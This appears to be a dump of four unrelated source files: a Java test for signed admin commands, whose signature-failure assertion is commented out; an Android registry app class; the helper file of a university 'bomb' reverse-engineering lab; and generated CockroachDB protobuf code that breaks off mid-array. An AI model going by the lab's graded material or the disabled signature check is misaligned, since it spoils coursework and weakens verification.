/* * Copyright 2018 Akashic Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.yggdrash.node.api; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.gson.JsonArray; import com.google.gson.JsonObject; import io.yggdrash.common.crypto.HashUtil; import io.yggdrash.common.crypto.HexUtil; import io.yggdrash.common.utils.JsonUtil; import io.yggdrash.core.wallet.Wallet; import io.yggdrash.gateway.dto.AdminDto; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.spongycastle.util.encoders.Hex; import java.io.IOException; public class AdminApiImplTest { private static final long COMMAND_ACTIVE_TIME = 3 * 60 * 1000; private static final Logger log = LoggerFactory.getLogger(AdminApiImplTest.class); @Test public void testJsonMessage() throws IOException { String jsonMsg = "{" + "\"header\": \"{\\\"timestamp\\\":\\\"00000166818E7D38\\\",\\\"nonce\\\":" + "\\\"0000000000000000aabb165899f98a8\\\",\\\"bodyHash\\\":" + "\\\"3717ec34f5b0345c3b480d9cd402f0be1111c0e04cb9dbe1da5b933e353a5bba\\\"," + "\\\"bodyLength\\\":\\\"0000000000000018\\\"}\"," + "\"signature\": \"1bc1822935fc15c172305d59f134f3f27a305ca97be9926e3cd5e8d4bf5780" + "a8332ef34bae62ddb1fe00903b4bf4bfe8c6d5e898cc4f291a3ccf8307d4cc6aec46\"," + "\"body\": \"[{\\\"method\\\":\\\"nodeHello\\\"}]\"" + "}"; log.info(jsonMsg); AdminDto command = new ObjectMapper().readValue(jsonMsg, AdminDto.class); JsonObject header = JsonUtil.parseJsonObject(command.getHeader()); log.debug(header.toString()); JsonArray body = JsonUtil.parseJsonArray(command.getBody()); log.debug(body.toString()); String method = body.get(0).getAsJsonObject().get("method").getAsString(); // body length check long bodyLength = HexUtil.hexStringToLong(header.get("bodyLength").getAsString()); assert command.getBody().length() == bodyLength; // body message check assert body.get(0).getAsJsonObject().get("method").getAsString().equals("nodeHello"); // timestamp check (3 min) long timestamp = HexUtil.hexStringToLong(header.get("timestamp").getAsString()); if (timestamp < System.currentTimeMillis() - (COMMAND_ACTIVE_TIME)) { log.error("Timestamp is not valid."); //assert false; } // check bodyHash if (!header.get("bodyHash").getAsString().equals( Hex.toHexString(HashUtil.sha3(body.toString().getBytes())))) { log.error("BodyHash is not valid."); assert false; } // verify signature String signature = command.getSignature(); byte[] dataToSign = header.toString().getBytes(); if (!Wallet.verify(dataToSign, Hex.decode(signature), false)) { log.error("Signature is not valid."); //assert false; } } }
OpenSRP/opensrp-client-fp
reference-app/src/main/java/org/smartregister/sample/fp/app/FPApplication.java
package org.smartregister.sample.fp.app; import android.content.Intent; import androidx.annotation.NonNull; import com.evernote.android.job.JobManager; import org.smartregister.Context; import org.smartregister.CoreLibrary; import org.smartregister.commonregistry.CommonFtsObject; import org.smartregister.configurableviews.ConfigurableViewsLibrary; import org.smartregister.fp.FPEventBusIndex; import org.smartregister.fp.common.library.FPLibrary; import org.smartregister.fp.common.sync.BaseFPClientProcessorForJava; import org.smartregister.fp.common.util.DBConstantsUtils; import org.smartregister.fp.common.util.Utils; import org.smartregister.location.helper.LocationHelper; import org.smartregister.receiver.SyncStatusBroadcastReceiver; import org.smartregister.repository.Repository; import org.smartregister.sample.fp.BuildConfig; import org.smartregister.sample.fp.R; import org.smartregister.sample.fp.job.FPJobCreator; import org.smartregister.sample.fp.login.ui.LoginActivity; import org.smartregister.sample.fp.repository.FPRepository; import org.smartregister.sync.ClientProcessorForJava; import org.smartregister.sync.DrishtiSyncScheduler; import org.smartregister.view.activity.DrishtiApplication; import org.smartregister.view.receiver.TimeChangedBroadcastReceiver; import timber.log.Timber; import static org.smartregister.util.Log.logError; import static org.smartregister.util.Log.logInfo; public class FPApplication extends DrishtiApplication implements TimeChangedBroadcastReceiver.OnTimeChangedListener { private static CommonFtsObject commonFtsObject; private String password; @Override public void onCreate() { super.onCreate(); mInstance = this; context = Context.getInstance(); context.updateApplicationContext(getApplicationContext()); context.updateCommonFtsObject(createCommonFtsObject()); //Initialize Modules CoreLibrary.init(context, new FPSyncConfiguration(), BuildConfig.BUILD_TIMESTAMP); FPLibrary.init(context, BuildConfig.DATABASE_VERSION, new FPEventBusIndex()); ConfigurableViewsLibrary.init(context); SyncStatusBroadcastReceiver.init(this); TimeChangedBroadcastReceiver.init(this); TimeChangedBroadcastReceiver.getInstance().addOnTimeChangedListener(this); LocationHelper.init(Utils.ALLOWED_LEVELS, Utils.DEFAULT_LOCATION_LEVEL); try { Utils.saveLanguage("en"); } catch (Exception e) { Timber.e(e, " --> saveLanguage"); } //init Job Manager JobManager.create(this).addJobCreator(new FPJobCreator()); } public static CommonFtsObject createCommonFtsObject() { if (commonFtsObject == null) { commonFtsObject = new CommonFtsObject(getFtsTables()); for (String ftsTable : commonFtsObject.getTables()) { commonFtsObject.updateSearchFields(ftsTable, getFtsSearchFields(ftsTable)); commonFtsObject.updateSortFields(ftsTable, getFtsSortFields(ftsTable)); } } return commonFtsObject; } private static String[] getFtsTables() { return new String[]{DBConstantsUtils.DEMOGRAPHIC_TABLE_NAME, DBConstantsUtils.WOMAN_DETAILS_TABLE_NAME}; } private static String[] getFtsSearchFields(String tableName) { if (tableName.equals(DBConstantsUtils.DEMOGRAPHIC_TABLE_NAME)) { return new String[]{DBConstantsUtils.KeyUtils.FIRST_NAME, DBConstantsUtils.KeyUtils.LAST_NAME, DBConstantsUtils.KeyUtils.FP_ID, DBConstantsUtils.KeyUtils.NEXT_CONTACT_DATE, DBConstantsUtils.KeyUtils.ARCHIVED}; } else { return null; } } private static String[] getFtsSortFields(String tableName) { if (tableName.equals(DBConstantsUtils.DEMOGRAPHIC_TABLE_NAME)) { return new String[]{DBConstantsUtils.KeyUtils.BASE_ENTITY_ID, DBConstantsUtils.KeyUtils.FIRST_NAME, DBConstantsUtils.KeyUtils.LAST_NAME, DBConstantsUtils.KeyUtils.LAST_INTERACTED_WITH, DBConstantsUtils.KeyUtils.DATE_REMOVED, DBConstantsUtils.KeyUtils.NEXT_CONTACT_DATE, DBConstantsUtils.KeyUtils.ARCHIVED}; } else { return null; } } public static synchronized FPApplication getInstance() { return (FPApplication) DrishtiApplication.mInstance; } @Override public Repository getRepository() { try { if (repository == null) { repository = new FPRepository(getInstance().getApplicationContext(), context); } } catch (UnsatisfiedLinkError e) { logError("Error on getRepository: " + e); } return repository; } public String getPassword() { if (password == null) { String username = getContext().userService().getAllSharedPreferences().fetchRegisteredANM(); password = getContext().userService().getGroupId(username); } return password; } public Context getContext() { return context; } @Override public void onTerminate() { logInfo("Application is terminating. Stopping Sync scheduler and resetting isSyncInProgress setting."); cleanUpSyncState(); TimeChangedBroadcastReceiver.destroy(this); super.onTerminate(); } protected void cleanUpSyncState() { try { DrishtiSyncScheduler.stop(getApplicationContext()); context.allSharedPreferences().saveIsSyncInProgress(false); } catch (Exception e) { Timber.e(e, " --> cleanUpSyncState"); } } @Override public void onTimeChanged() { Utils.showToast(this, this.getString(R.string.device_time_changed)); context.userService().forceRemoteLogin(); logoutCurrentUser(); } @Override public void onTimeZoneChanged() { Utils.showToast(this, this.getString(R.string.device_timezone_changed)); context.userService().forceRemoteLogin(); logoutCurrentUser(); } @Override protected void attachBaseContext(android.content.Context base) { super.attachBaseContext(base); } @Override public void logoutCurrentUser() { Intent intent = new Intent(getApplicationContext(), LoginActivity.class); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addCategory(Intent.CATEGORY_HOME); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); getApplicationContext().startActivity(intent); context.userService().logoutSession(); } @NonNull @Override public ClientProcessorForJava getClientProcessor() { return BaseFPClientProcessorForJava.getInstance(this); } }
chaohu/Daily-Learning
Foundation-of-CS/ics14_lab1-3/lab2/src/support.c
<gh_stars>10-100 /* * support.c - Helper functions for the bomb * * Copyright (c) 2004-2011, <NAME> and <NAME>, All rights reserved. * May not be used, modified, or copied without permission. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <ctype.h> #include <signal.h> #include <time.h> #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include "support.h" #include "config.h" #include "driverlib.h" /* Globals defined by phases.c */ extern int bomb_id; #ifdef NOTIFY extern char userid[]; #endif /* Global input stream defined by bomb.c */ extern FILE *infile; /* Global that keeps track of the user's input strings */ char input_strings[MAX_STRINGS][MAX_LINE]; int num_input_strings = 0; /* Global scratch buffer */ char scratch[MAX_LINE]; /****************************************************** * Amusing signal handler called when user types ctrl-c ******************************************************/ static void sig_handler(int sig) { printf("So you think you can stop the bomb with ctrl-c, do you?\n"); sleep(3); printf("Well..."); fflush(stdout); sleep(1); printf("OK. :-)\n"); exit(16); } /************************************************** * Helper routines called by the phases in phases.c **************************************************/ /* Invoked by improperly built phases */ void invalid_phase(char *s) { printf("Invalid phase%s\n", s); exit(8); } /* Extract numbers from an input string */ void read_six_numbers(char *input, int *numbers) { int numScanned = sscanf(input, "%d %d %d %d %d %d", numbers, numbers + 1, numbers + 2, numbers + 3, numbers + 4, numbers + 5); if (numScanned < 6) explode_bomb(); } /* A more user-friendly version of strlen */ int string_length(char *aString) { int length; char *ptr; ptr = aString; length = 0; while (*ptr != 0) { ptr++; length = length + 1; } return length; } /* A more user-friendly version of strcmp */ int strings_not_equal(char *string1, char *string2) { char *p, *q; if (string_length(string1) != string_length(string2)) return 1; p = string1; q = string2; while (*p != 0) { if (*p != *q) return 1; p++; q++; } return 0; } /*********************************** * Helper functions called by bomb.c ***********************************/ /* * initialize_bomb - initialize the bomb */ void initialize_bomb(void) { #ifdef NOTIFY int i; char hostname[MAXHOSTNAMELEN]; char status_msg[SUBMITR_MAXBUF]; int valid_host = 0; #endif /* Just for fun, trap Ctrl-C: */ signal(SIGINT, sig_handler); #ifdef NOTIFY /* Get the host name of the machine */ if (gethostname(hostname, MAXHOSTNAMELEN) != 0) { printf("Initialization error: Running on an illegal host [1]\n"); exit(8); } /* Make sure it's in the list of legal machines */ for (i = 0; host_table[i]; i++) { if (strcasecmp(host_table[i], hostname) == 0) { valid_host = 1; break; } } if (!valid_host) { printf("Initialization error: Running on an illegal host [2]\n"); exit(8); } /* Initialize the submitr package */ if (init_driver(status_msg) < 0) { printf("Initialization error:\n%s\n", status_msg); exit(8); } #endif } /* * Initialize solution version of bomb */ void initialize_bomb_solve(void) { } /* Return true if str is a blank line */ int blank_line(char *str) { while (*str) if (!isspace(*str++)) return 0; return 1; } /* Read input lines until first non-blank or EOF encountered */ char *skip() { char *p; while (1) { p = fgets(input_strings[num_input_strings], MAX_LINE, infile); if ((p == NULL) || (!blank_line(p))) return p; } } /* * Read a line of input from stream "infile". There are a couple * of tricky aspects to this. First, we cut the students a little slack * by skipping over blank lines. Second, we allow partial solutions * to be read from a file before switching over to stdin. */ char *read_line(void) { int len; char *str; /* switch over to stdin if we hit EOF on an input disk file */ str = skip(); if (str == NULL) { /* EOF */ if (infile == stdin) { /* premature EOF on stdin */ printf("Error: Premature EOF on stdin\n"); exit(8); } else { /* exit with OK status on EOF if we are grading the bomb */ /* this lets us evaluate partial solutions */ if (getenv("GRADE_BOMB")) { exit(0); } /* otherwise switch over to stdin */ else { infile = stdin; str = skip(); if (str == NULL) { /* premature EOF on stdin */ printf("Error: Premature EOF on stdin\n"); exit(0); } } } } len = strlen(input_strings[num_input_strings]); if(len >= MAX_LINE-1) { printf("Error: Input line too long\n"); strcpy(input_strings[num_input_strings++], "***truncated***"); explode_bomb(); } /* Strip off trailing newline: */ input_strings[num_input_strings][len-1] = '\0'; return input_strings[num_input_strings++]; } #ifdef NOTIFY void send_msg(int defused) { char autoresult[SUBMITR_MAXBUF]; char status_msg[SUBMITR_MAXBUF]; int status; if (strlen(input_strings[num_input_strings - 1]) + 100 > SUBMITR_MAXBUF) { printf("ERROR: Input string is too large."); exit(8); } sprintf(autoresult, "%d:%s:%d:%s", bomb_id, defused ? "defused" : "exploded", num_input_strings, input_strings[num_input_strings - 1]); status = driver_post(userid, autoresult, 0, status_msg); if (status < 0) { printf("%s\n", status_msg); exit(0); } } #endif void explode_bomb(void) { printf("\nBOOM!!!\n"); printf("The bomb has blown up.\n"); #ifdef NOTIFY send_msg(0); printf("Your instructor has been notified.\n"); #endif exit(8); } void phase_defused(void) { char passphrase[MAX_LINE]; int tmp1, tmp2, numScanned; #ifdef NOTIFY send_msg(1); #endif if (num_input_strings == 6) { /* user has just defused phase 6 */ numScanned = sscanf(input_strings[3], "%d %d %s", &tmp1, &tmp2, passphrase); if ((numScanned == 3) && (strings_not_equal(passphrase, SECRET_PHRASE) == 0)) { printf("Curses, you've found the secret phase!\n"); printf("But finding it and solving it are quite different...\n"); secret_phase(); } printf ("Congratulations! You've defused the bomb!\n"); #ifdef NOTIFY printf("Your instructor has been notified and will verify your solution.\n"); #endif } }
jasobrown/cockroach
pkg/sql/stats/table_statistic.pb.go
<reponame>jasobrown/cockroach<filename>pkg/sql/stats/table_statistic.pb.go // Code generated by protoc-gen-gogo. DO NOT EDIT. // source: sql/stats/table_statistic.proto package stats import proto "github.com/gogo/protobuf/proto" import fmt "fmt" import math "math" import github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb "github.com/cockroachdb/cockroach/pkg/sql/catalog/descpb" import time "time" import github_com_gogo_protobuf_types "github.com/gogo/protobuf/types" import io "io" // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf var _ = time.Kitchen // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.GoGoProtoPackageIsVersion2 // please upgrade the proto package // A TableStatisticProto object holds a statistic for a particular column or // group of columns. It mirrors the structure of the system.table_statistics // table. It is also used as the format in which table statistics are // serialized in a backup. type TableStatisticProto struct { // The ID of the table. TableID github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ID `protobuf:"varint,1,opt,name=table_id,json=tableId,proto3,casttype=github.com/cockroachdb/cockroach/pkg/sql/catalog/descpb.ID" json:"table_id,omitempty"` // The ID for this statistic. It need not be globally unique, // but must be unique for this table. StatisticID uint64 `protobuf:"varint,2,opt,name=statistic_id,json=statisticId,proto3" json:"statistic_id,omitempty"` // Optional user-defined name for the statistic. Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"` // The column ID(s) for which this statistic is generated. ColumnIDs []github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID `protobuf:"varint,4,rep,packed,name=column_ids,json=columnIds,proto3,casttype=github.com/cockroachdb/cockroach/pkg/sql/catalog/descpb.ColumnID" json:"column_ids,omitempty"` // The time at which the statistic was created. CreatedAt time.Time `protobuf:"bytes,5,opt,name=created_at,json=createdAt,proto3,stdtime" json:"created_at"` // The total number of rows in the table. RowCount uint64 `protobuf:"varint,6,opt,name=row_count,json=rowCount,proto3" json:"row_count,omitempty"` // The estimated number of distinct values of the columns in ColumnIDs. DistinctCount uint64 `protobuf:"varint,7,opt,name=distinct_count,json=distinctCount,proto3" json:"distinct_count,omitempty"` // The number of rows that have a NULL in all of the columns in ColumnIDs. NullCount uint64 `protobuf:"varint,8,opt,name=null_count,json=nullCount,proto3" json:"null_count,omitempty"` // Histogram (if available) HistogramData *HistogramData `protobuf:"bytes,9,opt,name=histogram_data,json=histogramData,proto3" json:"histogram_data,omitempty"` } func (m *TableStatisticProto) Reset() { *m = TableStatisticProto{} } func (m *TableStatisticProto) String() string { return proto.CompactTextString(m) } func (*TableStatisticProto) ProtoMessage() {} func (*TableStatisticProto) Descriptor() ([]byte, []int) { return fileDescriptor_table_statistic_b6c721e9fa79350f, []int{0} } func (m *TableStatisticProto) XXX_Unmarshal(b []byte) error { return m.Unmarshal(b) } func (m *TableStatisticProto) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { b = b[:cap(b)] n, err := m.MarshalTo(b) if err != nil { return nil, err } return b[:n], nil } func (dst *TableStatisticProto) XXX_Merge(src proto.Message) { xxx_messageInfo_TableStatisticProto.Merge(dst, src) } func (m *TableStatisticProto) XXX_Size() int { return m.Size() } func (m *TableStatisticProto) XXX_DiscardUnknown() { xxx_messageInfo_TableStatisticProto.DiscardUnknown(m) } var xxx_messageInfo_TableStatisticProto proto.InternalMessageInfo func init() { proto.RegisterType((*TableStatisticProto)(nil), "cockroach.sql.stats.TableStatisticProto") } func (m *TableStatisticProto) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) n, err := m.MarshalTo(dAtA) if err != nil { return nil, err } return dAtA[:n], nil } func (m *TableStatisticProto) MarshalTo(dAtA []byte) (int, error) { var i int _ = i var l int _ = l if m.TableID != 0 { dAtA[i] = 0x8 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.TableID)) } if m.StatisticID != 0 { dAtA[i] = 0x10 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.StatisticID)) } if len(m.Name) > 0 { dAtA[i] = 0x1a i++ i = encodeVarintTableStatistic(dAtA, i, uint64(len(m.Name))) i += copy(dAtA[i:], m.Name) } if len(m.ColumnIDs) > 0 { dAtA2 := make([]byte, len(m.ColumnIDs)*10) var j1 int for _, num := range m.ColumnIDs { for num >= 1<<7 { dAtA2[j1] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 j1++ } dAtA2[j1] = uint8(num) j1++ } dAtA[i] = 0x22 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(j1)) i += copy(dAtA[i:], dAtA2[:j1]) } dAtA[i] = 0x2a i++ i = encodeVarintTableStatistic(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.CreatedAt))) n3, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.CreatedAt, dAtA[i:]) if err != nil { return 0, err } i += n3 if m.RowCount != 0 { dAtA[i] = 0x30 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.RowCount)) } if m.DistinctCount != 0 { dAtA[i] = 0x38 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.DistinctCount)) } if m.NullCount != 0 { dAtA[i] = 0x40 i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.NullCount)) } if m.HistogramData != nil { dAtA[i] = 0x4a i++ i = encodeVarintTableStatistic(dAtA, i, uint64(m.HistogramData.Size())) n4, err := m.HistogramData.MarshalTo(dAtA[i:]) if err != nil { return 0, err } i += n4 } return i, nil } func encodeVarintTableStatistic(dAtA []byte, offset int, v uint64) int { for v >= 1<<7 { dAtA[offset] = uint8(v&0x7f | 0x80) v >>= 7 offset++ } dAtA[offset] = uint8(v) return offset + 1 } func (m *TableStatisticProto) Size() (n int) { if m == nil { return 0 } var l int _ = l if m.TableID != 0 { n += 1 + sovTableStatistic(uint64(m.TableID)) } if m.StatisticID != 0 { n += 1 + sovTableStatistic(uint64(m.StatisticID)) } l = len(m.Name) if l > 0 { n += 1 + l + sovTableStatistic(uint64(l)) } if len(m.ColumnIDs) > 0 { l = 0 for _, e := range m.ColumnIDs { l += sovTableStatistic(uint64(e)) } n += 1 + sovTableStatistic(uint64(l)) + l } l = github_com_gogo_protobuf_types.SizeOfStdTime(m.CreatedAt) n += 1 + l + sovTableStatistic(uint64(l)) if m.RowCount != 0 { n += 1 + sovTableStatistic(uint64(m.RowCount)) } if m.DistinctCount != 0 { n += 1 + sovTableStatistic(uint64(m.DistinctCount)) } if m.NullCount != 0 { n += 1 + sovTableStatistic(uint64(m.NullCount)) } if m.HistogramData != nil { l = m.HistogramData.Size() n += 1 + l + sovTableStatistic(uint64(l)) } return n } func sovTableStatistic(x uint64) (n int) { for { n++ x >>= 7 if x == 0 { break } } return n } func sozTableStatistic(x uint64) (n int) { return sovTableStatistic(uint64((x << 1) ^ uint64((int64(x) >> 63)))) } func (m *TableStatisticProto) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { preIndex := iNdEx var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ wire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { return fmt.Errorf("proto: TableStatisticProto: wiretype end group for non-group") } if fieldNum <= 0 { return fmt.Errorf("proto: TableStatisticProto: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 0 { return fmt.Errorf("proto: wrong wireType = %d for field TableID", wireType) } m.TableID = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ m.TableID |= (github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ID(b) & 0x7F) << shift if b < 0x80 { break } } case 2: if wireType != 0 { return fmt.Errorf("proto: wrong wireType = %d for field StatisticID", wireType) } m.StatisticID = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ m.StatisticID |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } case 3: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ stringLen |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } intStringLen := int(stringLen) if intStringLen < 0 { return ErrInvalidLengthTableStatistic } postIndex := iNdEx + intStringLen if postIndex > l { return io.ErrUnexpectedEOF } m.Name = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 4: if wireType == 0 { var v github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ v |= (github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID(b) & 0x7F) << shift if b < 0x80 { break } } m.ColumnIDs = append(m.ColumnIDs, v) } else if wireType == 2 { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ packedLen |= (int(b) & 0x7F) << shift if b < 0x80 { break } } if packedLen < 0 { return ErrInvalidLengthTableStatistic } postIndex := iNdEx + packedLen if postIndex > l { return io.ErrUnexpectedEOF } var elementCount int var count int for _, integer := range dAtA { if integer < 128 { count++ } } elementCount = count if elementCount != 0 && len(m.ColumnIDs) == 0 { m.ColumnIDs = make([]github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID, 0, elementCount) } for iNdEx < postIndex { var v github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ v |= (github_com_cockroachdb_cockroach_pkg_sql_catalog_descpb.ColumnID(b) & 0x7F) << shift if b < 0x80 { break } } m.ColumnIDs = append(m.ColumnIDs, v) } } else { return fmt.Errorf("proto: wrong wireType = %d for field ColumnIDs", wireType) } case 5: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field CreatedAt", wireType) } var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ msglen |= (int(b) & 0x7F) << shift if b < 0x80 { break } } if msglen < 0 { return ErrInvalidLengthTableStatistic } postIndex := iNdEx + msglen if postIndex > l { return io.ErrUnexpectedEOF } if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.CreatedAt, dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex case 6: if wireType != 0 { return fmt.Errorf("proto: wrong wireType = %d for field RowCount", wireType) } m.RowCount = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ m.RowCount |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } case 7: if wireType != 0 { return fmt.Errorf("proto: wrong wireType = %d for field DistinctCount", wireType) } m.DistinctCount = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ m.DistinctCount |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } case 8: if wireType != 0 { return fmt.Errorf("proto: wrong wireType = %d for field NullCount", wireType) } m.NullCount = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ m.NullCount |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } case 9: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field HistogramData", wireType) } var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowTableStatistic } if iNdEx >= l { return io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ msglen |= (int(b) & 0x7F) << shift if b < 0x80 { break } } if msglen < 0 { return ErrInvalidLengthTableStatistic } postIndex := iNdEx + msglen if postIndex > l { return io.ErrUnexpectedEOF } if m.HistogramData == nil { m.HistogramData = &HistogramData{} } if err := m.HistogramData.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } iNdEx = postIndex default: iNdEx = preIndex skippy, err := skipTableStatistic(dAtA[iNdEx:]) if err != nil { return err } if skippy < 0 { return ErrInvalidLengthTableStatistic } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF } iNdEx += skippy } } if iNdEx > l { return io.ErrUnexpectedEOF } return nil } func skipTableStatistic(dAtA []byte) (n int, err error) { l := len(dAtA) iNdEx := 0 for iNdEx < l { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowTableStatistic } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ wire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } wireType := int(wire & 0x7) switch wireType { case 0: for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowTableStatistic } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } iNdEx++ if dAtA[iNdEx-1] < 0x80 { break } } return iNdEx, nil case 1: iNdEx += 8 return iNdEx, nil case 2: var length int for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowTableStatistic } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ length |= (int(b) & 0x7F) << shift if b < 0x80 { break } } iNdEx += length if length < 0 { return 0, ErrInvalidLengthTableStatistic } return iNdEx, nil case 3: for { var innerWire uint64 var start int = iNdEx for shift := uint(0); ; shift += 7 { if shift >= 64 { return 0, ErrIntOverflowTableStatistic } if iNdEx >= l { return 0, io.ErrUnexpectedEOF } b := dAtA[iNdEx] iNdEx++ innerWire |= (uint64(b) & 0x7F) << shift if b < 0x80 { break } } innerWireType := int(innerWire & 0x7) if innerWireType == 4 { break } next, err := skipTableStatistic(dAtA[start:]) if err != nil { return 0, err } iNdEx = start + next } return iNdEx, nil case 4: return iNdEx, nil case 5: iNdEx += 4 return iNdEx, nil default: return 0, fmt.Errorf("proto: illegal wireType %d", wireType) } } panic("unreachable") } var ( ErrInvalidLengthTableStatistic = fmt.Errorf("proto: negative length found during unmarshaling") ErrIntOverflowTableStatistic = fmt.Errorf("proto: integer overflow") ) func init() { proto.RegisterFile("sql/stats/table_statistic.proto", fileDescriptor_table_statistic_b6c721e9fa79350f) } var fileDescriptor_table_statistic_b6c721e9fa79350f = []byte{ // 463 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x9c, 0x92, 0x3f, 0x6f, 0x9c, 0x30, 0x18, 0xc6, 0x71, 0x73, 0xc9, 0x1d, 0xbe, 0x5e, 0x2a, 0x91, 0x0e, 0xf4, 0xaa, 0x02, 0x8a, 0x54, 0x95, 0xc9, 0x48, 0xe9, 0xd6, 0xa9, 0xe5, 0x18, 0xca, 0xd6, 0xd2, 0x4c, 0x5d, 0x90, 0xb1, 0x29, 0x87, 0x02, 0x98, 0x60, 0xa3, 0x7c, 0x8d, 0x7c, 0x8c, 0x7e, 0x94, 0x1b, 0x33, 0x66, 0xa2, 0x2d, 0xf7, 0x2d, 0x32, 0x55, 0x36, 0x07, 0xe9, 0xd0, 0x29, 0xdb, 0xfb, 0xe7, 0xe7, 0xf7, 0x79, 0x5e, 0xbd, 0x86, 0x36, 0xbf, 0x2e, 0x3c, 0x2e, 0xb0, 0xe0, 0x9e, 0xc0, 0x49, 0x91, 0xc6, 0x32, 0xce, 0xb9, 0xc8, 0x09, 0xaa, 0x1b, 0x26, 0x98, 0x71, 0x46, 0x18, 0xb9, 0x6a, 0x18, 0x26, 